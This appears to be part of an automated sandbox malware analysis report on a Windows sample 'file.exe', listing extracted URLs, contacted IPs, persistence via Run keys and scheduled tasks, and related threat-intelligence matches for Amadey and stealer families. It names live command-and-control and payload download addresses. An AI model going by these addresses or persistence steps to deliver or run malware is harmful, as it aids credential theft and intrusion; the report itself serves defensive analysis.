https://xsts.auth.xboxlive.com3	svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	false		high
https:///live.comM	svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php0/	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000021.00000000.2696058411.000001DC07306000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3993307694.000001DC07306000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.google.comConsole	svchost.exe, 00000037.00000002.3981382486.000001C9AFED7000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSJM	explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php01	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8-dark	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779762752.000001FDE985D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	skotes.exe, 00000013.00000002.3954473622.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.2902153425.0000000000C18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbW	file.exe, 00000000.00000002.2035943037.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://httpbin.org/ipbefore	ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOSZM	explorer.exe, 0000001E.00000000.2676999905.000000000BE31000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4039426673.000000000BE31000.00000004.00000001.00020000.00000000.sdmp	false		high
https:///windows.net	svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001B.00000002.2639829502.0000000005365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2694166803.0000000004E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.yelp.com	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/03	svchost.exe, 00000036.00000000.2806967514.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3971956325.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.comSRD1#	svchost.exe, 00000028.00000002.4004064329.0000019EA5932000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2737104609.0000019EA5932000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https:///WAB-23B4D62B-952A-47E7-969C-B95DBF145D3D.local	svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com/	svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedD	skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://html4/loose.dtd	ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tmpfiles.org/dl/16763651/build.exe760	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpS	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/a-second-war-could-easily-erupt-in-europe-while-everyone-s-dist	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://tmpfiles.org/dl/16763651/build.exeoded	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)F	file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://xsts.auth.xboxlive.com	svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://tmpfiles.org/dl/16763651/build.exea%	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206ocal	file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2034821109.000000000062C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000001E.00000000.2658145766.0000000002C60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.2670794957.00000000082D0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.4021100812.0000000007670000.00000002.00000001.00040000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpy	file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe;	skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/Spreadtest.cmd	skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779684046.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779762752.000001FDE9858000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://xsts.auth.xboxlive.com-969C-B95DBF145D3D.local	svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
http://.jpg	ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php/	skotes.exe, 00000013.00000002.4018101149.0000000006090000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	skotes.exe, 00000013.00000002.3954473622.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.msn.com/en-us/news/world/england-considers-raising-smoking-age-until-cigarettes-are-bann	explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka..winsvr	powershell.exe, 0000001F.00000002.2719391266.0000000007699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.17.28.197	home.twentykx20sb.top	United States	2686	ATGS-MMD-ASUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
104.21.21.16	tmpfiles.org	United States	13335	CLOUDFLARENETUS	false
154.216.20.237	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
164.132.168.81	3333.filelu.cloud	France	16276	OVHFR	false
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.26.12.42	filelu.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565865
Start date and time:	2024-11-30 22:51:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	20
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.mine.winEXE@91/153@29/15
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 64.233.165.84, 172.217.19.238, 34.104.35.123, 93.184.221.240, 172.217.21.35, 142.250.181.74, 172.217.17.74, 142.250.181.10, 172.217.19.10, 172.217.19.170, 172.217.17.42, 142.250.181.106, 142.250.181.138, 172.217.19.234, 142.250.181.42, 172.217.19.202, 192.229.221.95, 74.125.205.84, 2.18.86.16, 2.20.41.214, 216.58.208.234, 172.217.17.35, 23.32.239.82, 23.32.239.25
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, wu.azureedge.net, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, learn.microsoft.com.edgekey.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, optimizationguide-pa.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, atten-supporse.biz, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.ne
Execution Graph export aborted for target GCGHCBKFCF.exe, PID 6332 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7072 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8016 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:52:52	API Interceptor	209x Sleep call for process: file.exe modified
16:54:02	API Interceptor	2424750x Sleep call for process: skotes.exe modified
16:54:15	API Interceptor	5521x Sleep call for process: powershell.exe modified
16:54:31	API Interceptor	988x Sleep call for process: explorer.exe modified
16:54:57	API Interceptor	90x Sleep call for process: ddd4dd05d2.exe modified
21:53:18	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:54:32	Task Scheduler	Run new task: OneNote 9294 path: C:\Users\user\AppData\Roaming\Network9294Man.cmd
21:55:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5d1390e5c6.exe C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe
21:55:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0474b55419.exe C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe
21:55:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5d1390e5c6.exe C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe
21:55:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0474b55419.exe C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe
21:55:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c1444066db.exe C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe
21:55:39	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineCoreAY path: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreAY.exe
21:55:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c1444066db.exe C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
34.17.28.197	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentykx20sb.top/iPbGOhXhjezIEpnuodWg1732963366
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	home.twentykx20sb.top/iPbGOhXhjezIEpnuodWg1732963366
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentykx20sb.top/iPbGOhXhjezIEpnuodWg1732963366

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
filelu.com	file.exe	Get hash	malicious	Amadey	Browse	104.26.12.42
filelu.com	uL6UtPbcrx.exe	Get hash	malicious	PureLog Stealer, SmokeLoader, TrojanRansom, zgRAT	Browse	198.49.69.251
twentykx20sb.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.17.28.197
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.17.28.197
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.17.28.197
home.twentykx20sb.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.17.28.197
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.17.28.197
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.17.28.197
tmpfiles.org	lIocM276SA.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, MicroClip, Stealc	Browse	172.67.195.247
	file.exe	Get hash	malicious	LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar	Browse	104.21.21.16
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	104.21.21.16
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	104.21.21.16
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	mlk3kK6uLZ.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, Quasar, RedLine, Stealc, Vidar	Browse	104.21.21.16
	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.21.16
	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.21.21.16
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse	104.21.21.16
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	F24_023.pdf (2).js	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.17.28.197
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.159.64.221
	mpsl.elf	Get hash	malicious	Mirai	Browse	32.149.99.174
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	mips.elf	Get hash	malicious	Mirai	Browse	57.184.43.32
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	arm.elf	Get hash	malicious	Mirai	Browse	48.138.9.226
	x86-20241130-2047.elf	Get hash	malicious	Mirai	Browse	34.56.43.76
	arm7-20241130-2047.elf	Get hash	malicious	Mirai	Browse	57.55.179.181
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.16
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	kisteruop.exe	Get hash	malicious	Stealc, Vidar	Browse	154.216.17.90
	kisloyat.exe	Get hash	malicious	Stealc, Vidar	Browse	154.216.17.90
	nhbjsekfkjtyhja.exe	Get hash	malicious	RHADAMANTHYS	Browse	154.216.20.204
	krgawdtyjawd.exe	Get hash	malicious	Stealc, Vidar	Browse	154.216.17.90
	hfaewdth.exe	Get hash	malicious	RHADAMANTHYS	Browse	154.216.20.204
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.241.11.54
	file.exe	Get hash	malicious	Amadey	Browse	154.216.20.237
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	154.216.17.153
